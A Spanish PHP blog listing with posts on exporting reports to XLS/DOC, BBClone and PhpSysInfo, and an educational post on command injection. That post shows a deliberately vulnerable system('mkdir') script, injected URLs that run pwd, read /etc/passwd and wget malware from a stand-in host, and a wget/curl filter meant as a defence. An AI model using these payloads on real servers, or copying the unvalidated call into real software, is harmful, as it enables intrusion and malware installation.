Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas
Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas

4 de marzo de 2010

Generación de documentos XLS y DOC dinámicos con PHP

Cuando estamos desarrollando un software, siempre es necesario generar una serie de reportes para diferentes catálogos creados dentro de él. Estos reportes generalmente son html, pero en ocasiones también es necesario exportarlos a otros formatos, por ejemplo .doc (word) y .xls (excel).

En el presente artículo veremos como generar esos reportes de forma fácil y sencilla a partir del código html ya generado.

Supongamos que tenemos un reporte html, por ejemplo como el siguiente:

Cuando generamos este reporte html, lo que se hace en realidad es enviar cabeceras al servidor de apache para indicarle, en este caso, que se trata de un documento html (<html> ... bla bla bla).

Entonces lo único que tenemos que hacer, es agregar el siguiente código al princpio del archivo para enviar cabeceras e indicarle al servidor apache, que lo que sigue lo interprete como un documento xls (excel):

header("Content-type: application/vnd.ms-xls");
header("Content-Disposition: attachment; filename=archivo.xls);

Para generar un documento para word, solo es necesario cambiar xls por doc. Veamos un ejemplo completo:


<?php
header("Content-type: application/vnd.ms-doc");
header("Content-Disposition: attachment; filename=archivo.doc");
?>
Este es un ejemplo para generar un documento word




En este ejemplo lo único que se coloca entre las etiquetas php, son las cabeceras para generar el documento exportable. Lo demás es html puro.

Para generar un documento excel, es exacmente lo mismo, sin embargo para que cada valor caiga en una celda, se tiene que generar una tabla con código html.


<?php
header("Content-type: application/vnd.ms-xls");
header("Content-Disposition: attachment; filename=archivo.xls");
?>
<table border=1>
<tr><td>Celda1</td><td>Celda2</td></tr>
<tr><td>Celda3</td><td>Celda4</td></tr>
</table>


Este es un breve ejemplo, pero que sin duda le abrirá un mundo de posibilidades al lector para implementar esta funcionalidad.

Nota aclaratoria: Es importante hacer notar que para que el ejemplo funcione el archivo tiene que tener extensión .php.

No olvides dejar tus comentarios. Hasta la próxima!!!!

9 de octubre de 2009

BBClone


¿Qué es?

BBclone es una herramienta diseñada con PHP, que nos sirve para obtener estadístiscas que entran a ciertas páginas que queramos monitorear. Si lo describimos en términos simples, es un contador de visitas a páginas de un sitio.

Entre los datos que podemos obtener del visitante son:

  • Navegadores (IE, Firefox, Opera, etc)




  • Sistema operativo (linux, unix, mac, windows




  • Extensiones (país)




  • Robots (google, av, etc)




  • Páginas más visitadas




  • Estadísticas de acceso por periodo





  • ¿De donde lo bajo?

    Se puede descargar de: http://bbclone.de/download.php

    ¿Cómo lo instalo?

    Linux
    tar -zxvf bbclone.xxx.tar.gz


    Windows

    con cualquier descompresor como winrar o winzip


    ¿Cómo se usa?


    Para usar bbclone y contabilizar las páginas del sitio, es importante agregar el siguiente código al principio de la página que se quiere contabilizar:

    <?php
    DEFINE ("_BBCLONE_DIR", "mybbclone/");
    DEFINE ("_NEW_COUNTER", _BBCLONE_DIR . "mark_page.php");
    if(file_exists(_NEW_COUNTER))
    {
    include (_NEW_COUNTER);
    }
    ?>


    Nota: es importante aclarar que el script donde se agregue, tiene que tener extensión .php o alguna otra que el servidor web reconozca para ejecutar códidgo.

    Si se deseara agregar una página como especial con algún nombre especial, se agrega la siguiente línea debajo de los DEFINE:


    DEFINE ("_BBC_PAGE_NAME","Nombre especial aquí");


    Te invitamos a que lo instales y que nos mandes tus comentarios :)

    7 de octubre de 2009

    Inyección comandos en PHP

    * Toda la información contenida en este artículo es con fines académicos.

    En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.

    Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.

    Un ejemplo práctico:

    Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio

    <?

    if (trim($_GET['directorio'])!=NULL) {
    system ("mkdir {$_GET['directorio']}");

    echo "directorio creado {$_GET['directorio']}";
    }
    else
    echo "directorio vacio";

    ?>


    NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.

    En la url del navegador se escribirá algo como sigue:

    http://misitio.net/dirs/script.php?directorio=directorionuevo


    ("directorionuevo" es el directorio recién creado)

    En la línea del código:

    system ("mkdir {$_GET['directorio']}");

    se ejecuta un comando de sistema operativo con la función system para crear el directorio.

    Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:

    mkdir directorionuevo

    Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:

    mkdir directorionuevo; pwd

    Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd

    con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).

    /var/www/html/dirs/

    Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.

    Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777

    Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd

    Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt

    El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.

    Solución

    Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.

    Aquí presentamos algunas soluciones:

  • En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo






  • No usar las funciones shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo






  • Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"






  • Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's






  • Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software:






  • <?

    foreach ($_GET as $variable => $valor)

    if (eregi("wget |curl |GET ", $valor)) {
    exit;

    }

    ?>


    Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.

    Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.

    Esperamos sus comentarios.

    6 de octubre de 2009

    PhpSysInfo


    ¿Qué es?

    PhpSysInfo es una herramienta desarrollada con php y es de gran utilidad, ya que nos provee de gran información acerca de un servidor.

    La información que podemos obtener con ésta herramienta es: el nombre canónico, la ip, la versión del kernel, los dispositivos que tiene, además de información de la memoria virtual, la memoria física (ram), así como las particiones montadas y el porcentaje de uso.

    Como podemos observar nos da mucha información que nos puede servir para la toma de decisiones referente a nuestro servidor.


    ¿De dónde la bajo?


    Se puede bajar de forma gratuita en http://phpsysinfo.sourceforge.net

    Requerimientos técnicos en el servidor

    Se debe tener instalado algún software para servidor web (como apache y IIS), así como el módulo de php.


    ¿Cómo se instala?


    Se descomprime el archivo en el htdocs configurado el servidor web.

    Linux:

    tar -zxvf phpsysinfo.xxx.tar.gz

    Windows:


    Con cualquier programa de descompresión como winrar o winzip.

    Posteriormente se debe copiar el archivo config.php.new como config.php, y listoooooo!!!!

    Algo especial

    Si queremos que el idioma sea por default español, en el archivo config.php debemos modificar la variable $default_lng:

    $default_lng='es';

    Además, si queremos que un tema, se quede por default, lo hacemos a través de la variable $default_template:

    $default_template='orange';

    Este programa por si solo no se actualiza automáticamente, si lo queremos así, debemos modificar el archivo includes\system_header.php y agregar la línea:


    echo "<META HTTP-EQUIV=REFRESH CONTENT=5>";

    (donde content contiene el # de segundos en los que se recargará la página)

    Esto debe hacerse debajo de la línea que comienza con echo "<meta http-equiv..."

    Esperamos sus comentarios ;)